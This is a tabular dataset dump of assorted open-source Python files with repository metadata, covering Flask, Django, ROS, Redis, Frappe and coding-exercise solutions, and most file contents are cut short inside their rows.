blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
807e80d22671f1fc0b7a70f993e21bca2a8ebd3b | f2012587250088b989789fdea914e0b9f81f0c3d | /api/commands/feature.py | 9e7e883f5e1038132a19ee685d7ca5db1ff7c18d | [] | no_license | dnow2000/feedback-main | 918469f79144de18dfce03f1a5ff4c8a1972ce1f | 101add2909c359c549e690460f3dd6a71a331674 | refs/heads/master | 2023-01-22T20:26:14.191807 | 2020-11-19T06:06:29 | 2020-11-19T06:06:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,310 | py | import json
from flask import current_app as app
from flask_script import Command
from sqlalchemy_api_handler import ApiHandler
from sqlalchemy_api_handler.serialization import as_dict
from models.feature import Feature, FeatureName
from utils.config import COMMAND_NAME
@app.manager.add_command
class FeatureCommand(... | [
"lawanledoux@gmail.com"
] | lawanledoux@gmail.com |
8c1f78731468405b41fa04e5e63257b02fbbe1fd | 7d096568677660790479d87c22b47aae838ef96b | /stubs-legacy/System/__init___parts/IDisposable.py | 3732e79d2a02e6b7d05735df4af856d476a0c222 | [
"MIT"
] | permissive | NISystemsEngineering/rfmx-pythonnet | 30adbdd5660b0d755957f35b68a4c2f60065800c | cd4f90a88a37ed043df880972cb55dfe18883bb7 | refs/heads/master | 2023-02-04T00:39:41.107043 | 2023-02-01T21:58:50 | 2023-02-01T21:58:50 | 191,603,578 | 7 | 5 | MIT | 2023-02-01T21:58:52 | 2019-06-12T16:02:32 | Python | UTF-8 | Python | false | false | 860 | py | class IDisposable:
""" Defines a method to release allocated resources. """
def Dispose(self):
"""
Dispose(self: IDisposable)
Performs application-defined tasks associated with freeing,releasing,or resetting unmanaged
resources.
"""
pass
def __enter__(self,*args):
"""
__enter__(sel... | [
"sean.moore@ni.com"
] | sean.moore@ni.com |
5b2dd584a2088ac7dc81009e15de719bf3d8c62c | e0629a85794027f39c20ab4d1d10e6cdacc0f438 | /Mathematics/Combo Meal.py | e63ebcc6cf61921702c598d060de2947f901de16 | [] | no_license | harshitpoddar09/HackerRank-Solutions | ffa675179a732416f729f61015ba5292af9fa052 | 62dd5a059247833ff455efa905c17ef654c2abe3 | refs/heads/main | 2023-08-13T20:53:27.478883 | 2021-09-27T06:43:31 | 2021-09-27T06:43:31 | 319,535,195 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | #!/bin/python3
import math
import os
import random
import re
import sys
# Complete the profit function below.
def profit(b, s, c):
# Return the fixed profit.
#b=bc+fp
#s=sc+fp
#c=bc+sc+fp
sc=c-b
return s-sc
if __name__ == '__main__':
fptr = open(os.environ['OUTPUT_PATH']... | [
"noreply@github.com"
] | harshitpoddar09.noreply@github.com |
6d9e85534a865363b465a587f04f388de204ef2b | 8fb1d41797595550418ecfc0e7558f38254b4606 | /django/contrib/gis/tests/test_geoforms.py | 1f0fba0d20cd4869e08120c6854dfb9cf5141a93 | [
"MIT"
] | permissive | hunch/hunch-gift-app | 2aad70a9f18124bf0de02d7a125fa93c765da008 | 8c7cad24cc0d9900deb4175e6b768c64a3d7adcf | refs/heads/master | 2016-09-06T03:13:52.153974 | 2012-03-26T18:11:59 | 2012-03-26T18:11:59 | 1,191,221 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,736 | py | from django.forms import ValidationError
from django.contrib.gis import forms
from django.contrib.gis.geos import GEOSGeometry
from django.utils import unittest
class GeometryFieldTest(unittest.TestCase):
def test00_init(self):
"Testing GeometryField initialization with defaults."
fld =... | [
"gleitz@hunch.com"
] | gleitz@hunch.com |
43facc7ab9a394a6099545f2eefa407e23403fa6 | 17a1a9194a782de31f9bd247ebc640ef88a19f43 | /lambda_handler/lambda_handler.py | f5c61b5e518db43ca55a5209c662fbdcbd26fe5e | [
"Beerware"
] | permissive | stevenorum/sunyata | a95d271149a4941db4ead4fd7e6b62ff30a33e64 | 02de0c86fdefd6de923f3057ec7037491aec1e5a | refs/heads/master | 2021-01-12T07:59:25.560698 | 2017-09-01T00:17:14 | 2017-09-01T00:17:14 | 77,074,279 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,920 | py | #!/usr/bin/env python
import boto3
from formatting import format_content
import json
ddb = boto3.resource("dynamodb")
config_table = ddb.Table("blogless_config")
posts_table = ddb.Table("blogless_posts")
def lambda_handler(event, context):
# NOTE: need to url-encode ampersands to %26 when passing stuff as a subp... | [
"stevenorum@gmail.com"
] | stevenorum@gmail.com |
bdc8eec9c319f8c6d3fd1780b6b7b1c43dc8b6a8 | 75767298da2d517e7ee969255f45de4ac8261ef1 | /analysis/divergence_contig.py | dc384817a5053701e89317550c314dd6150f2ea8 | [] | no_license | singhal/introgression_AWT | ddac0059cfb8629bcf8e519e1e82c9b79ff85174 | 6cdaa7b9dab4082e10da757ba836e2cade293eec | refs/heads/master | 2020-07-05T17:02:50.446366 | 2017-04-18T22:28:20 | 2017-04-18T22:28:20 | 67,518,571 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,499 | py | import argparse
import re
import subprocess
import os
import glob
import numpy as np
dir = '/Users/sonal/thesisWork/introgression/'
parser = argparse.ArgumentParser(description='cline-fitting')
parser.add_argument('--contact', help='the contact for which to run the analysis')
args = parser.parse_args()
contact = args... | [
"sonal.singhal1@gmail.com"
] | sonal.singhal1@gmail.com |
d2889d28ea113b972dce35b545aaafc4b03fc3cd | cf14b6ee602bff94d3fc2d7e712b06458540eed7 | /gs79/gs79/wsgi.py | 7b49da577e60a2dd34617ae430a14d5b31e1c6fe | [] | no_license | ManishShah120/Learning-Django | 8b0d7bfe7e7c13dcb71bb3d0dcdf3ebe7c36db27 | 8fe70723d18884e103359c745fb0de5498b8d594 | refs/heads/master | 2023-03-29T09:49:47.694123 | 2021-03-28T16:04:34 | 2021-03-28T16:04:34 | 328,925,596 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | """
WSGI config for gs79 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS... | [
"mkshah141@gmail.com"
] | mkshah141@gmail.com |
2cee9427ad5cc80a928f07d29c25d533d1dc1eab | 91d1a6968b90d9d461e9a2ece12b465486e3ccc2 | /connect_write_3/task-contact_start.py | da1d4a6853a188e74d7507fb443a6455eab16d52 | [] | no_license | lxtxl/aws_cli | c31fc994c9a4296d6bac851e680d5adbf7e93481 | aaf35df1b7509abf5601d3f09ff1fece482facda | refs/heads/master | 2023-02-06T09:00:33.088379 | 2020-12-27T13:38:45 | 2020-12-27T13:38:45 | 318,686,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,391 | py | #!/usr/bin/python
# -*- codding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from common.execute_command import write_three_parameter
# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/connect/start-task-contact.html
if __name__ ==... | [
"hcseo77@gmail.com"
] | hcseo77@gmail.com |
9166288793ecbd4cd6401f37e651655acd2a31f8 | bfb6ccbcb2707bca5eb44f2b64c0084aa6561b5a | /docs/examples/textbook/hydrodynamics_class.py | dff53e92a1cf3578a21be9b7da608a46a47109e6 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | cgroeneveld/amuse | 79c8ece558f484df4494609e95274cffd5c37c60 | 9684fd22ce8293b837d2c78f56948e3ec3d04032 | refs/heads/master | 2020-08-16T16:44:46.702465 | 2019-10-14T19:16:04 | 2019-10-14T19:16:04 | 215,526,071 | 0 | 0 | Apache-2.0 | 2019-10-16T10:57:34 | 2019-10-16T10:57:34 | null | UTF-8 | Python | false | false | 13,304 | py | import time
import numpy
from amuse.lab import *
from amuse.units import units,nbody_system
from amuse.datamodel import Particles
from amuse.community.fi.interface import Fi
from amuse.community.gadget2.interface import Gadget2
from cooling_class import Cooling, SimplifiedThermalModelEvolver
#from amuse.ext.sink imp... | [
"steven@rieder.nl"
] | steven@rieder.nl |
ab52e57fc5980ee7cecb0754633ea5cf36c988fb | 22e052500e53e88101e42bb768ba63928775edce | /service/backends/contrib/utils/exception.py | 9f8014f1f618153dc5eb37b25874606c069eda51 | [] | no_license | bopo/surprise | dfe0aa3891034da3dbab476062df4338a5010a4d | c7f86ba8320e6d51cd403b024d0b83e14bac009a | refs/heads/master | 2023-08-31T21:13:24.102477 | 2023-08-04T09:18:30 | 2023-08-04T09:18:30 | 119,644,638 | 1 | 0 | null | 2019-01-15T15:58:06 | 2018-01-31T06:25:46 | HTML | UTF-8 | Python | false | false | 4,821 | py | # # -*- coding: utf-8 -*-
# from __future__ import unicode_literals
#
# import six
# from django.http import Http404, JsonResponse
# from django.shortcuts import redirect
# from django.utils import log
# from django_extensions.utils.validatingtemplatetags import errors
# from rest_framework import exceptions, status
# ... | [
"ibopo@126.com"
] | ibopo@126.com |
42031489386c7c8f7df6cb60fcdc49b12c07d7a0 | aaa204ad7f134b526593c785eaa739bff9fc4d2a | /tests/system/providers/github/example_github.py | b5a9609e7441faf3134bb93075f1a66e91c0c6b8 | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | cfei18/incubator-airflow | 913b40efa3d9f1fdfc5e299ce2693492c9a92dd4 | ffb2078eb5546420864229cdc6ee361f89cab7bd | refs/heads/master | 2022-09-28T14:44:04.250367 | 2022-09-19T16:50:23 | 2022-09-19T16:50:23 | 88,665,367 | 0 | 1 | Apache-2.0 | 2021-02-05T16:29:42 | 2017-04-18T20:00:03 | Python | UTF-8 | Python | false | false | 3,368 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"noreply@github.com"
] | cfei18.noreply@github.com |
9ca7e82127b4e08ec01562df8de56e2d49563764 | e164fd9dce5fef093f85ca009f78570ec2b1c492 | /158. Read N Characters Given Read4 II.py | e61ed306b0cfb1d803bb44fb9b0dffd87918da74 | [] | no_license | havenshi/leetcode | 58fde93a1f1cbdd3c2faa9566c00383e5812f3a7 | bcb79f329bcb133e6421db8fc1f4780a4eedec39 | refs/heads/master | 2021-01-22T04:15:23.748793 | 2019-11-30T04:25:54 | 2019-11-30T04:25:54 | 92,447,327 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,381 | py | # The API: int read4(char *buf) reads 4 characters at a time from a file.
#
# The return value is the actual number of characters read. For example, it returns 3 if there is only 3 characters left in the file.
#
# By using the read4 API, implement the function int read(char *buf, int n) that reads n characters from the... | [
"haiwen.shi01@gmail.com"
] | haiwen.shi01@gmail.com |
d02f1cfb9629aaf76573c5966733f7feaf3acb1b | fa93e53a9eee6cb476b8998d62067fce2fbcea13 | /build/aruco_ros/catkin_generated/generate_cached_setup.py | ae6346b57d049457a672ee41abdc4324e6211cf7 | [] | no_license | oyetripathi/ROS_conclusion_project | 2947ee2f575ddf05480dabc69cf8af3c2df53f73 | 01e71350437d57d8112b6cec298f89fc8291fb5f | refs/heads/master | 2023-06-30T00:38:29.711137 | 2021-08-05T09:17:54 | 2021-08-05T09:17:54 | 392,716,311 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,345 | py | # -*- coding: utf-8 -*-
from __future__ import print_function
import os
import stat
import sys
# find the import for catkin's python package - either from source space or from an installed underlay
if os.path.exists(os.path.join('/opt/ros/melodic/share/catkin/cmake', 'catkinConfig.cmake.in')):
sys.path.insert(0, ... | [
"sandeepan.ghosh.ece20@itbhu.ac.in"
] | sandeepan.ghosh.ece20@itbhu.ac.in |
53744b661550755746b21d7773f817f38d96c180 | 25ebc03b92df764ff0a6c70c14c2848a49fe1b0b | /daily/20180929/example_schema/00types.py | a9d797686bb510173f347d1648d33ec4403d99b5 | [] | no_license | podhmo/individual-sandbox | 18db414fafd061568d0d5e993b8f8069867dfcfb | cafee43b4cf51a321f4e2c3f9949ac53eece4b15 | refs/heads/master | 2023-07-23T07:06:57.944539 | 2023-07-09T11:45:53 | 2023-07-09T11:45:53 | 61,940,197 | 6 | 0 | null | 2022-10-19T05:01:17 | 2016-06-25T11:27:04 | Python | UTF-8 | Python | false | false | 324 | py | import typing as t
class Person:
name: str
age: int
def __init__(self, name: str, age: int) -> None:
self.name = name
self.age = age
print(Person.__annotations__)
# {'name': <class 'str'>, 'age': <class 'int'>}
print(t.get_type_hints(Person))
# {'name': <class 'str'>, 'age': <class 'int... | [
"ababjam61+github@gmail.com"
] | ababjam61+github@gmail.com |
03f35e932ac385e53111ecbf56ca18d100af071c | 80f53e7ea872dc18e45bd810ebb2073dac773f71 | /myredis.py | 85561eb0dca4aa50e4875268cf3f5ddca417950f | [] | no_license | dengjinyi4/Test_Plantfrom | 30ca560b157b6f7026e6f05bc3ace10c63894d11 | eb49d08ceb5cba44ce48178ed79c2e79a596de69 | refs/heads/master | 2021-06-13T07:34:55.840837 | 2021-03-09T06:41:54 | 2021-03-09T06:41:54 | 144,958,663 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,129 | py | #!/usr/bin/env python
#encoding: utf-8
from rediscluster import StrictRedisCluster
def mygetredis(redis_nodes):
# redis_nodes=[{"host":'101.254.242.11',"port":'17001'},{"host":'101.254.242.12',"port":'17001'},{"host":'101.254.242.17',"port":'17001'}]
r = StrictRedisCluster(startup_nodes=redis_nodes,max_con... | [
"13811501646@163.com"
] | 13811501646@163.com |
fc0bbf9307c4b98c3d68f690a0bb39e95ebb7ee1 | f13acd0d707ea9ab0d2f2f010717b35adcee142f | /Others/practice/practice2/b/main.py | c8d9513764f510d3b84d29ce92edc8f931395f6c | [
"CC0-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | KATO-Hiro/AtCoder | 126b9fe89fa3a7cffcbd1c29d42394e7d02fa7c7 | bf43320bc1af606bfbd23c610b3432cddd1806b9 | refs/heads/master | 2023-08-18T20:06:42.876863 | 2023-08-17T23:45:21 | 2023-08-17T23:45:21 | 121,067,516 | 4 | 0 | CC0-1.0 | 2023-09-14T21:59:38 | 2018-02-11T00:32:45 | Python | UTF-8 | Python | false | false | 1,326 | py | # -*- coding: utf-8 -*-
# See:
# https://github.com/not522/ac-library-python/blob/master/atcoder/fenwicktree.py
import typing
class FenwickTree:
'''Reference: https://en.wikipedia.org/wiki/Fenwick_tree'''
def __init__(self, n: int = 0) -> None:
self._n = n
self.data = [0] * n
def add(s... | [
"k.hiro1818@gmail.com"
] | k.hiro1818@gmail.com |
575994ffaea3b34edb98c82113b1a54999d6443b | 153ec5496256058d89587c001aea5ce3a6a8d523 | /tranquil-beach/arrays_strings/histogram.py | a2930cc9bc712b2840ca0afa00e7f0d5649f1924 | [] | no_license | yokolet/tranquil-beach-python | 50911147b560385e2f93efb148e5adb0fb6dbe8b | e7f486114df17918e49d6452c7047c9d90e8aef2 | refs/heads/master | 2021-08-22T15:28:02.096061 | 2020-04-29T03:34:19 | 2020-04-29T05:01:11 | 175,543,623 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,021 | py | class Histogram:
def largestRectangleArea(self, heights: 'List[int]') -> int:
if not heights: return 0
max_area, stack, n = 0, [], len(heights)
for i in range(len(heights)):
while stack and heights[stack[-1]] > heights[i]:
h = heights[stack.pop()]
... | [
"yokolet@gmail.com"
] | yokolet@gmail.com |
52bde8515b4402d87f77e64fbc91f4e74918ec80 | 5963c12367490ffc01c9905c028d1d5480078dec | /tests/components/wilight/__init__.py | dd7d83876f8329e83231a1d3419dae3a95267a45 | [
"Apache-2.0"
] | permissive | BenWoodford/home-assistant | eb03f73165d11935e8d6a9756272014267d7d66a | 2fee32fce03bc49e86cf2e7b741a15621a97cce5 | refs/heads/dev | 2023-03-05T06:13:30.354545 | 2021-07-18T09:51:53 | 2021-07-18T09:51:53 | 117,122,037 | 11 | 6 | Apache-2.0 | 2023-02-22T06:16:51 | 2018-01-11T16:10:19 | Python | UTF-8 | Python | false | false | 2,363 | py | """Tests for the WiLight component."""
from pywilight.const import DOMAIN
from homeassistant.components.ssdp import (
ATTR_SSDP_LOCATION,
ATTR_UPNP_MANUFACTURER,
ATTR_UPNP_MODEL_NAME,
ATTR_UPNP_MODEL_NUMBER,
ATTR_UPNP_SERIAL,
)
from homeassistant.components.wilight.config_flow import (
CONF_MO... | [
"noreply@github.com"
] | BenWoodford.noreply@github.com |
8b470d9ac07819da16eba519defa5727399138a6 | ebe638222262009c5fbd0ed3a2851412dd8dfe5f | /{{cookiecutter.directory_name}}/{{cookiecutter.project_slug}}/providers/search_resolver_provider.py | 3f4316d9724156bb78a25d7379e9eadc494a0cfe | [] | no_license | sean-can-bwell/helix-service-template | 2e19ce02517215a01b1a6c754b2404e5053b0a69 | 1734355c72d0e87912b00f950ee8312d84508bf6 | refs/heads/main | 2023-07-13T06:01:52.663591 | 2021-08-03T15:39:19 | 2021-08-03T15:39:19 | 399,524,355 | 0 | 0 | null | 2021-08-24T15:54:13 | 2021-08-24T15:54:13 | null | UTF-8 | Python | false | false | 567 | py | from typing import Any, Dict
from graphql import GraphQLResolveInfo
from {{cookiecutter.project_slug}}.providers.results_provider import ResultsProvider
class SearchResolverProvider:
def __init__(self, results_provider: ResultsProvider):
self.results_provider = results_provider
def resolve_provider... | [
"imranq2@hotmail.com"
] | imranq2@hotmail.com |
f795316acc558f746036ac6d3524793aa255f193 | 4133fce90189868a246e916a5851dc05bf5e2172 | /eOwner/businfo/migrations/0002_remove_businfo_mgr_id.py | f6291b99ee8ff792a11b4c2bdbca0c976367ced2 | [] | no_license | achanyasuresh12/eowner | 47ea8dfeb7dc63c1ea934d1d05f0714f14a3fde8 | bcfd6d3069a34e3bde7c760a60d43a7553078b23 | refs/heads/master | 2020-04-07T19:10:59.995107 | 2018-11-22T04:24:15 | 2018-11-22T04:24:15 | 158,639,004 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 318 | py | # Generated by Django 2.0.7 on 2018-11-11 06:52
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('businfo', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='businfo',
name='mgr_id',
),
]
| [
"45094866+achanyasuresh12@users.noreply.github.com"
] | 45094866+achanyasuresh12@users.noreply.github.com |
c3b76da7af470b5ed70a99b24bab8bf2afa72ddd | 22da4a564696d905bed0e4f21a1cb724fcadbbcf | /frappe/sessions.py | b90e5d1d57cc1eaea9c7d3d6dfefa6da03f365dc | [
"MIT"
] | permissive | ektai/erp2Dodock | b96512b112183a71d79c12513216b3fc6dd9293f | 5ad64b01cba9b07437f9a27751101258679379e8 | refs/heads/master | 2023-01-02T14:00:12.701247 | 2020-10-28T07:18:45 | 2020-10-28T07:18:45 | 305,179,080 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,426 | py | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# MIT License. See license.txt
from __future__ import unicode_literals
"""
Boot session from cache or build
Session bootstraps info needed by common client side activities including
permission, homepage, default variables, system defaults etc
"""
im... | [
"63931935+ektai@users.noreply.github.com"
] | 63931935+ektai@users.noreply.github.com |
efd5a1c353042cbfdc5dd1bc3c09633551e9c886 | 86e904c75d0140eea3e4169d216955e1c34801b3 | /python10/db/DB연결테스트3.py | d1e698c397fb93ef4f922463458c7347aff2538b | [] | no_license | reharmony/cloudpython | d62f61749e5b5862d3b81e449d5154e188a14d21 | 98e033e537d763ba86d162f58d0fe8f64249a291 | refs/heads/master | 2020-04-29T16:58:55.281917 | 2019-05-15T12:11:43 | 2019-05-15T12:11:43 | 176,281,740 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,507 | py | '''
Created on 2019. 4. 10.
@author: user
'''
import pymysql
def db_process_insert(id, title, content, director,img):
# 1. db인증 -> 연결
con = pymysql.connect(host ='localhost', user='root',password='1234', db = 'cloud')
print("1. db인증 -> 연결 성공...")
print(con)
# 2. 연결정보 -> 통로
... | [
"noreply@github.com"
] | reharmony.noreply@github.com |
636a092f638e4e70f4aa62b8c769340b19e0e028 | ad23b164febd12d5c6d97cfbcd91cf70e2914ab3 | /db_tools/importsearchdata/importexceldata/import_exceldata.py | 50fc9804d985cd6aa037efaeac71a17c70a3fc13 | [] | no_license | wawj901124/webtestdata | 9eedf9a01dec2c157725299bda9a42e8d357ef0b | 54f6412566fce07ece912760c5caea73ede819cb | refs/heads/master | 2022-12-09T14:18:38.125191 | 2021-04-25T07:54:07 | 2021-04-25T07:54:07 | 175,773,318 | 1 | 1 | null | 2022-12-08T02:39:15 | 2019-03-15T07:49:16 | Python | UTF-8 | Python | false | false | 2,773 | py | #独立使用django的model
import sys
import os
pwd = os.path.dirname(os.path.relpath(__file__))
sys.path.append(pwd+"../")
os.environ.setdefault("DJANGO_SETTINGS_MODULE","webtestdata.settings")
import django
django.setup()
from searchdata.models import SearchData
from db_tools.importsearchdata.importexceldata.dataconfig.ge... | [
"410287958@qq.com"
] | 410287958@qq.com |
d9623d3d74386de7a4d6cad7eff2f65ab5d0eba2 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03026/s285986219.py | f323f5d38ecbf79e92f6f8d4009d721d833111d1 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 632 | py | from heapq import heapify, heappop
N = int(input())
AB = [tuple(map(int, input().split())) for _ in range(N - 1)]
C = list(map(int, input().split()))
M = sum(C) - max(C)
nl = [list() for i in range(N)]
for a, b in AB:
nl[a - 1].append(b - 1)
nl[b - 1].append(a - 1)
v0 = -1
mlen = 0
for i, n in enumerate(nl):... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
685d45ee8557c44f94b655bb63f1ca929609be43 | 83de24182a7af33c43ee340b57755e73275149ae | /aliyun-python-sdk-msccommonquery/aliyunsdkmsccommonquery/request/v20210407/ListMessagesRequest.py | 08500d627cd824cd49f1f828b88bb4babb49e7d8 | [
"Apache-2.0"
] | permissive | aliyun/aliyun-openapi-python-sdk | 4436ca6c57190ceadbc80f0b1c35b1ab13c00c7f | 83fd547946fd6772cf26f338d9653f4316c81d3c | refs/heads/master | 2023-08-04T12:32:57.028821 | 2023-08-04T06:00:29 | 2023-08-04T06:00:29 | 39,558,861 | 1,080 | 721 | NOASSERTION | 2023-09-14T08:51:06 | 2015-07-23T09:39:45 | Python | UTF-8 | Python | false | false | 2,124 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"sdk-team@alibabacloud.com"
] | sdk-team@alibabacloud.com |
4aa423c38dfa54ab99d98e09c25ed8c8ffdc027a | d41d18d3ea6edd2ec478b500386375a8693f1392 | /plotly/validators/scatterternary/marker/colorbar/_titleside.py | a47c10c6af0ad7d1b43ebf85431faa9c45d5c3b1 | [
"MIT"
] | permissive | miladrux/plotly.py | 38921dd6618650d03be9891d6078e771ffccc99a | dbb79e43e2cc6c5762251537d24bad1dab930fff | refs/heads/master | 2020-03-27T01:46:57.497871 | 2018-08-20T22:37:38 | 2018-08-20T22:37:38 | 145,742,203 | 1 | 0 | MIT | 2018-08-22T17:37:07 | 2018-08-22T17:37:07 | null | UTF-8 | Python | false | false | 521 | py | import _plotly_utils.basevalidators
class TitlesideValidator(_plotly_utils.basevalidators.EnumeratedValidator):
def __init__(
self,
plotly_name='titleside',
parent_name='scatterternary.marker.colorbar',
**kwargs
):
super(TitlesideValidator, self).__init__(
... | [
"adam.kulidjian@gmail.com"
] | adam.kulidjian@gmail.com |
b27a6b9c03e18e5567a78c94c21cfa74e1111294 | c2c03e034513a766c7de8298be428fb3eab3ab7b | /chainerrl/cartpole-v0/env/lib/python3.4/site-packages/chainer/functions/array/split_axis.py | 08bfc6787b0e165d50be55acd442e8115f6bcb78 | [] | no_license | hamko/sample | 434adeca12e11587edce8cad799162b84c7f5071 | 9b0624b99e3e551d6b72b632d3a7d1a38aac7a9f | refs/heads/master | 2021-01-17T02:51:25.174354 | 2018-10-23T02:40:04 | 2018-10-23T02:40:04 | 9,640,383 | 1 | 3 | null | null | null | null | UTF-8 | Python | false | false | 3,854 | py | import collections
import six
import chainer
from chainer import cuda
from chainer import function
from chainer.utils import type_check
class SplitAxis(function.Function):
"""Function that splits multiple arrays along the specified axis."""
def __init__(self, indices_or_sections, axis):
if not isi... | [
"wakataberyo@gmail.com"
] | wakataberyo@gmail.com |
962f55109349a2ec74d35604aa2ea3bd96ec02db | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_161/ch62_2020_04_12_01_40_23_616652.py | 6d70fa5e9e5e4e5bb6ea09e052deebd28dab911e | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 85 | py | def pos_arroba(email):
i=0
while email[i] != "@":
i+=1
return (i) | [
"you@example.com"
] | you@example.com |
141c05171a0eee5dae74606a0b866063e6220745 | df08a7872cf3b4d784583d952d0123ec2decb4b1 | /scripts/tpair_adj_deg.py | 409f9b26b57583c2c92ce279377c8cca5d720148 | [
"MIT"
] | permissive | hoo0681/elegansbrainmap | 18b07090ff7ac8a781313365376edd8acedf9af0 | a47d20f4c190d8a6ab7fd93a63f96ea8d8362a53 | refs/heads/main | 2023-03-19T11:37:53.010335 | 2021-03-12T15:47:25 | 2021-03-12T15:47:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,110 | py | """
tpair_adj_deg.py
Plots distribution of the differences in homologous adjacency degrees.
created: Christopher Brittin
date: 01 November 2018
"""
import os
from configparser import ConfigParser,ExtendedInterpolation
import argparse
import matplotlib.pyplot as plt
from scipy.stats import ttest_rel
from scipy.stats ... | [
"cabrittin@gmail.com"
] | cabrittin@gmail.com |
72788db26c8a8b7502b6a73a040e66c81a088f53 | 6a6c334740551c244fa2411619212d1a93bdc9b8 | /pandas入门/18.获取DataFrame的属性.py | 747a779a7e0a0dd2ae40add88d4177b523b3cf68 | [] | no_license | LasterSmithKim/Pandas | e38d8fe1e6e1b47c91b43937a2ded9ff56723f7c | 3e4c8850293f7ae263601bf8e5fd837482292c30 | refs/heads/master | 2020-04-24T19:38:28.402900 | 2019-03-30T15:37:04 | 2019-03-30T15:37:04 | 172,218,330 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 332 | py | import numpy as np
import pandas as pd
#We can clearly see the column names in our DataFrame
df = pd.DataFrame({'col1': [1, 2, 3, 4],'col2': [444, 555, 666, 444],'col3': ['abc', 'def', 'ghi', 'xyz']})
print(df.columns)
print(df.index)
# 排序
df1 = df.sort_values('col2')
print(df1)
#找空值
df1 = df.isnull()
print(df1)
... | [
"kingone@yeah.net"
] | kingone@yeah.net |
55d03663d081509adc6bdb787c83b191e2cc6b16 | b892146db53de8d08659ace0c1fde7f76bdebada | /examples/random_how_to.py | ce50a49b9d757bd581fda6e03c4a3637c9c709dd | [
"MIT"
] | permissive | HelloChatterbox/PyWikiHow | 4f49dd79cff8a02ac0a3a74ec3ab60ca7cf9599a | e540f108f948a951a8be0b9234e7b6cc7883a808 | refs/heads/dev | 2022-11-06T16:21:44.899974 | 2020-06-24T20:37:22 | 2020-06-24T20:37:22 | 88,088,961 | 21 | 6 | MIT | 2020-06-24T20:37:24 | 2017-04-12T19:32:35 | Python | UTF-8 | Python | false | false | 73 | py | from pywikihow import RandomHowTo
how_to = RandomHowTo()
how_to.print()
| [
"jarbasai@mailfence.com"
] | jarbasai@mailfence.com |
1a7f6d4ee0d793b33b547f72d4409fbdf9450218 | de17634e6b149d5828c1c78f7f5f5e1f6c17c4d0 | /nnvm/tvm/topi/python/topi/cuda/depthwise_conv2d.py | 851a00db0a481acd54cd9f9cdbef406771b8d564 | [
"Apache-2.0",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference",
"MIT"
